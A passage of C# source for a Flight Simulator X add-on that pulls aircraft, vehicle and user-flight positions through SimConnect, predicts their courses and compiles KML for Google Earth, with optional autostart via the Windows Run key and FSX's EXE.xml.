return false;
}
else if (thrConnect.ThreadState == ThreadState.Stopped)
{
if (simconnect != null)
{
try
{
simconnect.Dispose();
simconnect = null;
simconnect = new SimConnect(Text, this.Handle, WM_USER_SIMCONNECT, null, 0);
}
catch
{
return false;
}
if (initDataRequest())
return true;
else
{
simconnect = null;
return false;
}
}
else
{
thrConnect = new Thread(new ThreadStart(openConnectionThreadFunction));
thrConnect.Start();
return false;
}
}
else
return false;
}
private void closeConnection()
{
if (simconnect != null)
{
simconnect.Dispose();
simconnect = null;
}
}
private bool initDataRequest()
{
try
{
// listen to connect and quit msgs
simconnect.OnRecvOpen += new SimConnect.RecvOpenEventHandler(simconnect_OnRecvOpen);
simconnect.OnRecvQuit += new SimConnect.RecvQuitEventHandler(simconnect_OnRecvQuit);
// listen to exceptions
simconnect.OnRecvException += new SimConnect.RecvExceptionEventHandler(simconnect_OnRecvException);
// define a data structure
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Title", null, SIMCONNECT_DATATYPE.STRING256, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "ATC Type", null, SIMCONNECT_DATATYPE.STRING32, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "ATC Model", null, SIMCONNECT_DATATYPE.STRING32, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "ATC ID", null, SIMCONNECT_DATATYPE.STRING32, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "ATC Airline", null, SIMCONNECT_DATATYPE.STRING64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "ATC Flight Number", null, SIMCONNECT_DATATYPE.STRING32, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Plane Latitude", "degrees", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Plane Longitude", "degrees", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Plane Altitude", "meters", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Ground Velocity", "knots", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Velocity World Y", "meter per second", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
//simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Velocity World X", "meter per second", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
//simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Velocity World Y", "meter per second", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
//simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Velocity World Z", "meter per second", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
simconnect.AddToDataDefinition(DEFINITIONS.StructBasicMovingSceneryObject, "Absolute Time", "seconds", SIMCONNECT_DATATYPE.FLOAT64, 0.0f, SimConnect.SIMCONNECT_UNUSED);
// IMPORTANT: register it with the simconnect managed wrapper marshaller
// if you skip this step, you will only receive a uint in the .dwData field.
simconnect.RegisterDataDefineStruct<StructBasicMovingSceneryObject>(DEFINITIONS.StructBasicMovingSceneryObject);
// catch a simobject data request
simconnect.OnRecvSimobjectDataBytype += new SimConnect.RecvSimobjectDataBytypeEventHandler(simconnect_OnRecvSimobjectDataBytype);
return true;
}
catch (COMException ex)
{
safeShowBalloonTip(3000, Text, "FSX Exception!\n\n" + ex.Message, ToolTipIcon.Error);
return false;
}
}
void simconnect_OnRecvOpen(SimConnect sender, SIMCONNECT_RECV_OPEN data)
{
lock (lockUserAircraftID)
{
bUserAircraftIDSet = false;
}
if (gconffixCurrent.bQueryUserAircraft)
timerQueryUserAircraft.Start();
if (gconffixCurrent.bQueryUserPath)
timerQueryUserPath.Start();
if (gconffixCurrent.bUserPathPrediction)
timerUserPrediction.Start();
if (gconffixCurrent.bQueryAIObjects)
{
if (gconffixCurrent.bQueryAIAircrafts)
timerQueryAIAircrafts.Start();
if (gconffixCurrent.bQueryAIHelicopters)
timerQueryAIHelicopters.Start();
if (gconffixCurrent.bQueryAIBoats)
timerQueryAIBoats.Start();
if (gconffixCurrent.bQueryAIGroundUnits)
timerQueryAIGroundUnits.Start();
}
timerIPAddressRefresh_Tick(null, null);
timerIPAddressRefresh.Start();
}
void simconnect_OnRecvQuit(SimConnect sender, SIMCONNECT_RECV data)
{
globalDisconnect();
if (gconffixCurrent.bExitOnFsxExit && isFsxStartActivated())
{
bClose = true;
Close();
}
}
void simconnect_OnRecvException(SimConnect sender, SIMCONNECT_RECV_EXCEPTION data)
{
safeShowBalloonTip(3000, Text, "FSX Exception!", ToolTipIcon.Error);
}
void simconnect_OnRecvSimobjectDataBytype(SimConnect sender, SIMCONNECT_RECV_SIMOBJECT_DATA_BYTYPE data)
{
if (data.dwentrynumber == 0 && data.dwoutof == 0)
return;
DataRequestReturnObject drroTemp;
drroTemp.bmsoObject = (StructBasicMovingSceneryObject)data.dwData[0];
drroTemp.uiObjectID = data.dwObjectID;
drroTemp.szCoursePrediction = "";
drroTemp.ppsPredictionPoints = null;
switch ((DATA_REQUESTS)data.dwRequestID)
{
case DATA_REQUESTS.REQUEST_USER_AIRCRAFT:
case DATA_REQUESTS.REQUEST_USER_PATH:
case DATA_REQUESTS.REQUEST_USER_PREDICTION:
lock (lockUserAircraftID)
{
bUserAircraftIDSet = true;
uiUserAircraftID = drroTemp.uiObjectID;
}
switch ((DATA_REQUESTS)data.dwRequestID)
{
case DATA_REQUESTS.REQUEST_USER_AIRCRAFT:
lock (lockKmlUserAircraft)
{
suadCurrent = drroTemp.bmsoObject;
}
break;
case DATA_REQUESTS.REQUEST_USER_PATH:
lock (lockKmlUserPath)
{
szKmlUserAircraftPath += drroTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + drroTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + drroTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "\n";
}
break;
case DATA_REQUESTS.REQUEST_USER_PREDICTION:
lock (lockKmlPredictionPoints)
{
if (!ppPos1.bInitialized)
{
ppPos1.dLong = drroTemp.bmsoObject.dLongitude;
ppPos1.dLat = drroTemp.bmsoObject.dLatitude;
ppPos1.dAlt = drroTemp.bmsoObject.dAltitude;
ppPos1.dTime = drroTemp.bmsoObject.dTime;
ppPos1.bInitialized = true;
return;
}
else
{
if (!ppPos2.bInitialized)
{
ppPos2.dLong = drroTemp.bmsoObject.dLongitude;
ppPos2.dLat = drroTemp.bmsoObject.dLatitude;
ppPos2.dAlt = drroTemp.bmsoObject.dAltitude;
ppPos2.dTime = drroTemp.bmsoObject.dTime;
ppPos2.bInitialized = true;
}
else
{
ppPos1 = ppPos2;
ppPos2.dLong = drroTemp.bmsoObject.dLongitude;
ppPos2.dLat = drroTemp.bmsoObject.dLatitude;
ppPos2.dAlt = drroTemp.bmsoObject.dAltitude;
ppPos2.dTime = drroTemp.bmsoObject.dTime;
//ppPos2.bInitialized = true;
}
}
if (ppPos1.dTime != ppPos2.dTime && ppPos1.bInitialized && ppPos2.bInitialized)
{
lock (lockKmlUserPrediction)
{
szKmlUserPrediction = drroTemp.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + drroTemp.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + drroTemp.bmsoObject.dAltitude.ToString().Replace(",", ".") + "\n";
listKmlPredictionPoints.Clear();
for (uint n = 0; n < gconffixCurrent.dPredictionTimes.GetLength(0); n++)
{
double dLongNew = 0.0, dLatNew = 0.0, dAltNew = 0.0;
calcPositionByTime(ref ppPos1, ref ppPos2, gconffixCurrent.dPredictionTimes[n], ref dLatNew, ref dLongNew, ref dAltNew);
PathPositionStored ppsTemp;
ppsTemp.dLat = dLatNew;
ppsTemp.dLong = dLongNew;
ppsTemp.dAlt = dAltNew;
ppsTemp.dTime = gconffixCurrent.dPredictionTimes[n];
listKmlPredictionPoints.Add(ppsTemp);
szKmlUserPrediction += dLongNew.ToString().Replace(",", ".") + "," + dLatNew.ToString().Replace(",", ".") + "," + dAltNew.ToString().Replace(",", ".") + "\n";
}
}
}
}
break;
}
break;
case DATA_REQUESTS.REQUEST_AI_PLANE:
case DATA_REQUESTS.REQUEST_AI_HELICOPTER:
case DATA_REQUESTS.REQUEST_AI_BOAT:
case DATA_REQUESTS.REQUEST_AI_GROUND:
lock (lockUserAircraftID)
{
if (bUserAircraftIDSet && (drroTemp.uiObjectID == uiUserAircraftID))
return;
}
switch ((DATA_REQUESTS)data.dwRequestID)
{
case DATA_REQUESTS.REQUEST_AI_PLANE:
processDataRequestResultAlternatingly(data.dwentrynumber, data.dwoutof, ref drrAIPlanes, ref lockDrrAiPlanes, ref drroTemp, gconffixCurrent.bPredictAIAircrafts, gconffixCurrent.bPredictPointsAIAircrafts);
break;
case DATA_REQUESTS.REQUEST_AI_HELICOPTER:
processDataRequestResultAlternatingly(data.dwentrynumber, data.dwoutof, ref drrAIHelicopters, ref lockDrrAiHelicopters, ref drroTemp, gconffixCurrent.bPredictAIHelicopters, gconffixCurrent.bPredictPointsAIHelicopters);
break;
case DATA_REQUESTS.REQUEST_AI_BOAT:
processDataRequestResultAlternatingly(data.dwentrynumber, data.dwoutof, ref drrAIBoats, ref lockDrrAiBoats, ref drroTemp, gconffixCurrent.bPredictAIBoats, gconffixCurrent.bPredictPointsAIBoats);
break;
case DATA_REQUESTS.REQUEST_AI_GROUND:
processDataRequestResultAlternatingly(data.dwentrynumber, data.dwoutof, ref drrAIGround, ref lockDrrAiGround, ref drroTemp, gconffixCurrent.bPredictAIGroundUnits, gconffixCurrent.bPredictPointsAIGroundUnits);
break;
}
break;
default:
#if DEBUG
safeShowBalloonTip(3000, Text, "Received unknown data from FSX!", ToolTipIcon.Warning);
#endif
break;
}
}
Thread thrConnect;
private void globalConnect()
{
lock (lockChConf)
{
if (!gconfchCurrent.bEnabled)
return;
}
notifyIconMain.Icon = icActive;
notifyIconMain.Text = Text + "(Waiting for connection...)";
if (bConnected)
return;
lock (lockKmlUserAircraft)
{
szKmlUserAircraftPath = "";
uiUserAircraftID = 0;
}
if (!timerFSXConnect.Enabled)
timerFSXConnect.Start();
}
private void globalDisconnect()
{
if (bConnected)
{
bConnected = false;
// Stop all query timers
timerQueryUserAircraft.Stop();
timerQueryUserPath.Stop();
timerUserPrediction.Stop();
timerQueryAIAircrafts.Stop();
timerQueryAIHelicopters.Stop();
timerQueryAIBoats.Stop();
timerQueryAIGroundUnits.Stop();
closeConnection();
lock (lockChConf)
{
if (gconfchCurrent.bEnabled)
safeShowBalloonTip(1000, Text, "Disconnected from FSX!", ToolTipIcon.Info);
}
}
lock (lockChConf)
{
if (gconfchCurrent.bEnabled)
{
if (!timerFSXConnect.Enabled)
{
timerFSXConnect.Start();
notifyIconMain.Icon = icActive;
notifyIconMain.Text = Text + "(Waiting for connection...)";
}
}
else
{
if (timerFSXConnect.Enabled)
{
timerFSXConnect.Stop();
thrConnect.Abort();
if (thrConnect.ThreadState != ThreadState.Unstarted)
thrConnect.Join();
closeConnection();
}
notifyIconMain.Icon = icDisabled;
notifyIconMain.Text = Text + "(Disabled)";
}
}
}
#endregion
#region Helper Functions
#region Old Version
//void processDataRequestResultAlternatingly(uint entryNumber, uint entriesCount, ref DataRequestReturn currentRequestStructure, ref object relatedLock, ref StructBasicMovingSceneryObject receivedData, ref String processedData)
//{
// lock (relatedLock)
// {
// if (entryNumber <= currentRequestStructure.uiLastEntryNumber)
// {
// if (currentRequestStructure.uiCurrentDataSet == 1)
// {
// currentRequestStructure.szData2 = "";
// currentRequestStructure.uiCurrentDataSet = 2;
// }
// else
// {
// currentRequestStructure.szData1 = "";
// currentRequestStructure.uiCurrentDataSet = 1;
// }
// }
// currentRequestStructure.uiLastEntryNumber = entryNumber;
// if (currentRequestStructure.uiCurrentDataSet == 1)
// currentRequestStructure.szData1 += processedData;
// else
// currentRequestStructure.szData2 += processedData;
// if (entryNumber == entriesCount)
// {
// if (currentRequestStructure.uiCurrentDataSet == 1)
// {
// currentRequestStructure.szData2 = "";
// currentRequestStructure.uiCurrentDataSet = 2;
// }
// else
// {
// currentRequestStructure.szData1 = "";
// currentRequestStructure.uiCurrentDataSet = 1;
// }
// currentRequestStructure.uiLastEntryNumber = 0;
// }
// }
//}
#endregion
void processDataRequestResultAlternatingly(uint entryNumber, uint entriesCount, ref DataRequestReturn currentRequestStructure, ref object relatedLock, ref DataRequestReturnObject receivedData, bool bCoursePrediction, bool bPredictionPoints)
{
lock (relatedLock)
{
// In case last data request return aborted unnormally and we're dealing with a new result, switch lists
if (entryNumber <= currentRequestStructure.uiLastEntryNumber)
{
if (currentRequestStructure.uiCurrentDataSet == 1)
currentRequestStructure.uiCurrentDataSet = 2;
else
currentRequestStructure.uiCurrentDataSet = 1;
}
List<DataRequestReturnObject> listCurrent = currentRequestStructure.uiCurrentDataSet == 1 ? currentRequestStructure.listFirst : currentRequestStructure.listSecond;
List<DataRequestReturnObject> listOld = currentRequestStructure.uiCurrentDataSet == 1 ? currentRequestStructure.listSecond : currentRequestStructure.listFirst;
// In case we have switched lists, clear new list and resize if necessary
if (currentRequestStructure.bClearOnNextRun)
{
currentRequestStructure.bClearOnNextRun = false;
listCurrent.Clear();
if (listCurrent.Capacity < entriesCount)
listCurrent.Capacity = (int)((double)entriesCount * 1.1);
}
// Calculate course prediction
if (bCoursePrediction)
{
foreach (DataRequestReturnObject drroTemp in listOld)
{
if (drroTemp.uiObjectID == receivedData.uiObjectID)
{
if (drroTemp.bmsoObject.dTime != receivedData.bmsoObject.dTime)
{
if (bPredictionPoints)
receivedData.ppsPredictionPoints = new PathPositionStored[gconffixCurrent.dPredictionTimes.GetLength(0)];
receivedData.szCoursePrediction = receivedData.bmsoObject.dLongitude.ToString().Replace(",", ".") + "," + receivedData.bmsoObject.dLatitude.ToString().Replace(",", ".") + "," + receivedData.bmsoObject.dAltitude.ToString().Replace(",", ".") + "\n";
for (uint n = 0; n < gconffixCurrent.dPredictionTimes.GetLength(0); n++)
{
PathPosition ppOld, ppCurrent;
double dLongNew = 0.0, dLatNew = 0.0, dAltNew = 0.0;
ppOld.bInitialized = true;
ppOld.dLat = drroTemp.bmsoObject.dLatitude;
ppOld.dLong = drroTemp.bmsoObject.dLongitude;
ppOld.dAlt = drroTemp.bmsoObject.dAltitude;
ppOld.dTime = drroTemp.bmsoObject.dTime;
ppCurrent.bInitialized = true;
ppCurrent.dLat = receivedData.bmsoObject.dLatitude;
ppCurrent.dLong = receivedData.bmsoObject.dLongitude;
ppCurrent.dAlt = receivedData.bmsoObject.dAltitude;
ppCurrent.dTime = receivedData.bmsoObject.dTime;
calcPositionByTime(ref ppOld, ref ppCurrent, gconffixCurrent.dPredictionTimes[n], ref dLatNew, ref dLongNew, ref dAltNew);
receivedData.szCoursePrediction += dLongNew.ToString().Replace(",", ".") + "," + dLatNew.ToString().Replace(",", ".") + "," + dAltNew.ToString().Replace(",", ".") + "\n";
if (bPredictionPoints)
{
PathPositionStored ppsTemp;
ppsTemp.dLat = dLatNew;
ppsTemp.dLong = dLongNew;
ppsTemp.dAlt = dAltNew;
ppsTemp.dTime = gconffixCurrent.dPredictionTimes[n];
receivedData.ppsPredictionPoints[n] = ppsTemp;
}
}
}
else
{
receivedData.szCoursePrediction = drroTemp.szCoursePrediction;
receivedData.ppsPredictionPoints = drroTemp.ppsPredictionPoints;
}
break;
}
}
}
// Set current entry number
currentRequestStructure.uiLastEntryNumber = entryNumber;
// Insert new data into the list
if (currentRequestStructure.uiCurrentDataSet == 1)
currentRequestStructure.listFirst.Add(receivedData);
else
currentRequestStructure.listSecond.Add(receivedData);
// If this is the last entry from the current return, switch lists, so that http server can work with the just completed list
if (entryNumber == entriesCount)
{
if (currentRequestStructure.uiCurrentDataSet == 1)
currentRequestStructure.uiCurrentDataSet = 2;
else
currentRequestStructure.uiCurrentDataSet = 1;
currentRequestStructure.uiLastEntryNumber = 0;
currentRequestStructure.bClearOnNextRun = true;
}
}
}
private List<DataRequestReturnObject> GetCurrentList(ref DataRequestReturn drrnCurrent)
{
if (drrnCurrent.uiCurrentDataSet == 1)
return drrnCurrent.listSecond;
else
return drrnCurrent.listFirst;
}
private void safeShowBalloonTip(int timeout, String tipTitle, String tipText, ToolTipIcon tipIcon)
{
lock (lockChConf)
{
if (!gconfchCurrent.bShowBalloons)
return;
}
notifyIconMain.ShowBalloonTip(timeout, tipTitle, tipText, tipIcon);
}
private void safeShowMainDialog(int iTab)
{
notifyIconMain.ContextMenuStrip = null;
ConfigMirrorToForm();
// Check startup options
if (isAutoStartActivated())
radioButton8.Checked = true;
else if (isFsxStartActivated() && szPathFSX != "")
radioButton9.Checked = true;
else
radioButton10.Checked = true;
if (szPathFSX == "")
radioButton9.Enabled = false;
bRestartRequired = false;
tabControl1.SelectedIndex = iTab;
Show();
}
private void safeHideMainDialog()
{
notifyIconMain.ContextMenuStrip = contextMenuStripNotifyIcon;
Hide();
}
private void clearDrrStructure(ref DataRequestReturn drrToClear)
{
if (drrToClear.listFirst == null)
drrToClear.listFirst = new List<DataRequestReturnObject>();
if (drrToClear.listSecond == null)
drrToClear.listSecond = new List<DataRequestReturnObject>();
drrToClear.listFirst.Clear();
drrToClear.listSecond.Clear();
drrToClear.uiLastEntryNumber = 0;
drrToClear.uiCurrentDataSet = 1;
drrToClear.bClearOnNextRun = true;
}
private void clearPPStructure(ref PathPosition ppToClear)
{
ppToClear.bInitialized = false;
ppToClear.dAlt = ppToClear.dLong = ppToClear.dAlt = 0.0;
}
private bool IsLocalHostIP(IPAddress ipaRequest)
{
lock (lockIPAddressList)
{
if (ipalLocal1 != null)
{
foreach (IPAddress ipaTemp in ipalLocal1)
{
if (ipaTemp.Equals(ipaRequest))
return true;
}
}
if (ipalLocal2 != null)
{
foreach (IPAddress ipaTemp in ipalLocal2)
{
if (ipaTemp.Equals(ipaRequest))
return true;
}
}
}
return false;
}
private bool CompileKMLStartUpFileDynamic(String szIPAddress, ref String szResult)
{
try
{
string szTempKMLFile = File.ReadAllText(szFilePathData + "\\fsxget.template");
szTempKMLFile = szTempKMLFile.Replace("%FSXU%", gconffixCurrent.bQueryUserAircraft ? File.ReadAllText(szFilePathData + "\\fsxget-fsxu.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%FSXP%", gconffixCurrent.bQueryUserPath ? File.ReadAllText(szFilePathData + "\\fsxget-fsxp.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%FSXPRE%", gconffixCurrent.bUserPathPrediction ? File.ReadAllText(szFilePathData + "\\fsxget-fsxpre.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%FSXAIP%", gconffixCurrent.bQueryAIAircrafts ? File.ReadAllText(szFilePathData + "\\fsxget-fsxaip.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%FSXAIH%", gconffixCurrent.bQueryAIHelicopters ? File.ReadAllText(szFilePathData + "\\fsxget-fsxaih.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%FSXAIB%", gconffixCurrent.bQueryAIBoats ? File.ReadAllText(szFilePathData + "\\fsxget-fsxaib.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%FSXAIG%", gconffixCurrent.bQueryAIGroundUnits ? File.ReadAllText(szFilePathData + "\\fsxget-fsxaig.part") : "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXFLIGHTPLAN%", gconffixCurrent.bLoadFlightPlans ? File.ReadAllText(szFilePathData + "\\fsxget-fsxflightplan.part") : "");
szTempKMLFile = szTempKMLFile.Replace("%PATH%", "http://" + szIPAddress + ":" + gconffixCurrent.iServerPort.ToString());
szResult = szTempKMLFile;
return true;
}
catch
{
return false;
}
}
private bool CompileKMLStartUpFileStatic(String szIPAddress, ref String szResult)
{
try
{
string szTempKMLFile = File.ReadAllText(szFilePathData + "\\fsxgets.template");
//szTempKMLFile = szTempKMLFile.Replace("%FSXU%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXP%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXPRE%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXAIP%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXAIH%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXAIB%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXAIG%", "");
//szTempKMLFile = szTempKMLFile.Replace("%FSXFLIGHTPLAN%", gconffixCurrent.bLoadFlightPlans ? File.ReadAllText(szFilePathData + "\\fsxget-fsxflightplan.part") : "");
//szTempKMLFile = szTempKMLFile.Replace("%PATH%", "http://" + szIPAddress + ":" + gconffixCurrent.iServerPort.ToString());
szResult = szTempKMLFile;
return true;
}
catch
{
return false;
}
}
private void UpdateCheckBoxStates()
{
checkBoxQueryAIObjects_CheckedChanged(null, null);
radioButton7_CheckedChanged(null, null);
radioButton6_CheckedChanged(null, null);
radioButton8_CheckedChanged(null, null);
radioButton9_CheckedChanged(null, null);
radioButton10_CheckedChanged(null, null);
}
private void UpdateButtonStates()
{
if (listBoxPathPrediction.SelectedItems.Count == 1)
button2.Enabled = true;
else
button2.Enabled = false;
}
private double ConvertDegToDouble(String szDeg)
{
String szTemp = szDeg;
szTemp = szTemp.Replace("N", "+");
szTemp = szTemp.Replace("S", "-");
szTemp = szTemp.Replace("E", "+");
szTemp = szTemp.Replace("W", "-");
szTemp = szTemp.Replace(" ", "");
szTemp = szTemp.Replace("\"", "");
szTemp = szTemp.Replace("'", "/");
szTemp = szTemp.Replace("°", "/");
char[] szSeperator = { '/' };
String[] szParts = szTemp.Split(szSeperator);
if (szParts.GetLength(0) != 3)
{
throw new System.Exception("Wrong coordinate format!");
}
double d1 = System.Double.Parse(szParts[0], System.Globalization.NumberFormatInfo.InvariantInfo);
int iSign = Math.Sign(d1);
d1 = Math.Abs(d1);
double d2 = System.Double.Parse(szParts[1], System.Globalization.NumberFormatInfo.InvariantInfo);
double d3 = System.Double.Parse(szParts[2], System.Globalization.NumberFormatInfo.InvariantInfo);
return iSign * (d1 + (d2 * 60.0 + d3) / 3600.0);
}
private bool isAutoStartActivated()
{
string szRun = (string)Registry.GetValue(szRegKeyRun, AssemblyTitle, "");
return (szRun.ToLower() == Application.ExecutablePath.ToLower());
}
private bool AutoStartActivate()
{
try
{
Registry.SetValue(szRegKeyRun, AssemblyTitle, Application.ExecutablePath);
}
catch
{
return false;
}
return true;
}
private bool AutoStartDeactivate()
{
try
{
RegistryKey regkTemp = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
regkTemp.DeleteValue(AssemblyTitle);
}
catch
{
return false;
}
return true;
}
private bool isFsxStartActivated()
{
String szAppDataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\FSX";
if (File.Exists(szAppDataFolder + "\\EXE.xml"))
{
XmlTextReader xmlrFsxFile = new XmlTextReader(szAppDataFolder + "\\EXE.xml");
XmlDocument xmldSettings = new XmlDocument();
try
{
xmldSettings.Load(xmlrFsxFile);
}
catch
{
xmlrFsxFile.Close();
xmlrFsxFile = null;
return false;
}
xmlrFsxFile.Close();
xmlrFsxFile = null;
try
{
for (XmlNode xmlnTemp = xmldSettings["SimBase.Document"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.Name.ToLower() == "launch.addon")
{
try
{
if (Path.GetFullPath(xmlnTemp["Path"].InnerText).ToLower() == (Path.GetFullPath(szAppPath) + "\\starter.exe").ToLower())
return true;
}
catch { }
}
}
return false;
}
catch
{
return false;
}
}
else
return false;
}
private bool FsxStartActivate()
{
String szAppDataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\FSX";
if (File.Exists(szAppDataFolder + "\\EXE.xml"))
{
bool bLoadError = false;
XmlTextReader xmlrFsxFile = new XmlTextReader(szAppDataFolder + "\\EXE.xml");
XmlDocument xmldSettings = new XmlDocument();
try
{
xmldSettings.Load(xmlrFsxFile);
}
catch
{
bLoadError = true;
}
xmlrFsxFile.Close();
xmlrFsxFile = null;
// TODO: One could improve this function not just replacing the document if ["SimBase.Document"] doesn't exist,
// but just find and use the document's root element whatever it may be called. This would increase compatibility
// with future FS version. (Same should be done for other functions dealing with this document)
if (bLoadError || xmldSettings["SimBase.Document"] == null)
{
try
{
File.Delete(szAppDataFolder + "\\EXE.xml");
return FsxStartActivate();
}
catch
{
return false;
}
}
else
{
if (xmldSettings["SimBase.Document"]["Disabled"] == null)
{
XmlNode nodeTemp = xmldSettings.CreateElement("Disabled");
nodeTemp.InnerText = "False";
xmldSettings["SimBase.Document"].AppendChild(nodeTemp);
}
else if (xmldSettings["SimBase.Document"]["Disabled"].InnerText.ToLower() == "true")
xmldSettings["SimBase.Document"]["Disabled"].InnerText = "False";
xmlrFsxFile = new XmlTextReader(szAppPath + "\\data\\EXE.xml");
XmlDocument xmldTemplate = new XmlDocument();
xmldTemplate.Load(xmlrFsxFile);
xmlrFsxFile.Close();
xmlrFsxFile = null;
XmlNode nodeFsxget = xmldTemplate["SimBase.Document"]["Launch.Addon"];
XmlNode nodeTemp2 = xmldSettings.CreateElement(nodeFsxget.Name);
nodeTemp2.InnerXml = nodeFsxget.InnerXml.Replace("%PATH%", Path.GetFullPath(szAppPath) + "\\starter.exe");
xmldSettings["SimBase.Document"].AppendChild(nodeTemp2);
try
{
File.Delete(szAppDataFolder + "\\EXE.xml");
xmldSettings.Save(szAppDataFolder + "\\EXE.xml");
return true;
}
catch
{
return false;
}
}
}
else
{
try
{
StreamWriter swFsxFile = File.CreateText(szAppDataFolder + "\\EXE.xml");
StreamReader srFsxFileTemplate = File.OpenText(szAppPath + "\\data\\EXE.xml");
swFsxFile.Write(srFsxFileTemplate.ReadToEnd().Replace("%PATH%", Path.GetFullPath(szAppPath) + "\\starter.exe"));
swFsxFile.Flush();
swFsxFile.Close();
swFsxFile.Dispose();
srFsxFileTemplate.Close();
srFsxFileTemplate.Dispose();
return true;
}
catch
{
return false;
}
}
}
private bool FsxStartDeactivate()
{
String szAppDataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\FSX";
if (File.Exists(szAppDataFolder + "\\EXE.xml"))
{
XmlTextReader xmlrFsxFile = new XmlTextReader(szAppDataFolder + "\\EXE.xml");
XmlDocument xmldSettings = new XmlDocument();
xmldSettings.Load(xmlrFsxFile);
xmlrFsxFile.Close();
xmlrFsxFile = null;
try
{
bool bChanges = false;
for (XmlNode xmlnTemp = xmldSettings["SimBase.Document"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.Name.ToLower() == "launch.addon")
{
if (xmlnTemp["Path"] != null)
{
if (Path.GetFullPath(xmlnTemp["Path"].InnerText).ToLower() == (Path.GetFullPath(szAppPath) + "\\starter.exe").ToLower())
{
xmldSettings["SimBase.Document"].RemoveChild(xmlnTemp);
bChanges = true;
}
}
}
}
if (bChanges)
{
try
{
File.Delete(szAppDataFolder + "\\EXE.xml");
xmldSettings.Save(szAppDataFolder + "\\EXE.xml");
}
catch
{
return false;
}
}
return true;
}
catch
{
return true;
}
}
else
return true;
}
private double getValueInUnit(double dValueInMeters, UnitType Unit)
{
switch (Unit)
{
case UnitType.METERS:
return dValueInMeters;
case UnitType.FEET:
return dValueInMeters * 3.2808399;
default:
throw new Exception("Unknown unit type");
}
}
private double getValueInCurrentUnit(double dValueInMeters)
{
return getValueInUnit(dValueInMeters, gconffixCurrent.utUnits);
}
private String getCurrentUnitNameShort()
{
switch (gconffixCurrent.utUnits)
{
case UnitType.METERS:
return "m";
case UnitType.FEET:
return "ft";
default:
return "--";
}
}
private String getCurrentUnitName()
{
switch (gconffixCurrent.utUnits)
{
case UnitType.METERS:
return "Meters";
case UnitType.FEET:
return "Feet";
default:
return "Unknown Unit";
}
}
private void RestartApp()
{
Program.bRestart = true;
bClose = true;
Close();
}
protected static byte[] BitmapToPngBytes(Bitmap bmp)
{
byte[] bufferPng = null;
if (bmp != null)
{
byte[] buffer = new byte[1024 + bmp.Height * bmp.Width * 4];
MemoryStream s = new MemoryStream(buffer);
bmp.Save(s, System.Drawing.Imaging.ImageFormat.Png);
int nSize = (int)s.Position;
s.Close();
bufferPng = new byte[nSize];
for (int i = 0; i < nSize; i++)
bufferPng[i] = buffer[i];
}
return bufferPng;
}
#endregion
#region Calucaltion
private void calcPositionByTime(ref PathPosition ppOld, ref PathPosition ppNew, double dSeconds, ref double dResultLat, ref double dResultLong, ref double dResultAlt)
{
double dTimeElapsed = ppNew.dTime - ppOld.dTime;
double dScale = dSeconds / dTimeElapsed;
dResultLat = ppNew.dLat + dScale * (ppNew.dLat - ppOld.dLat);
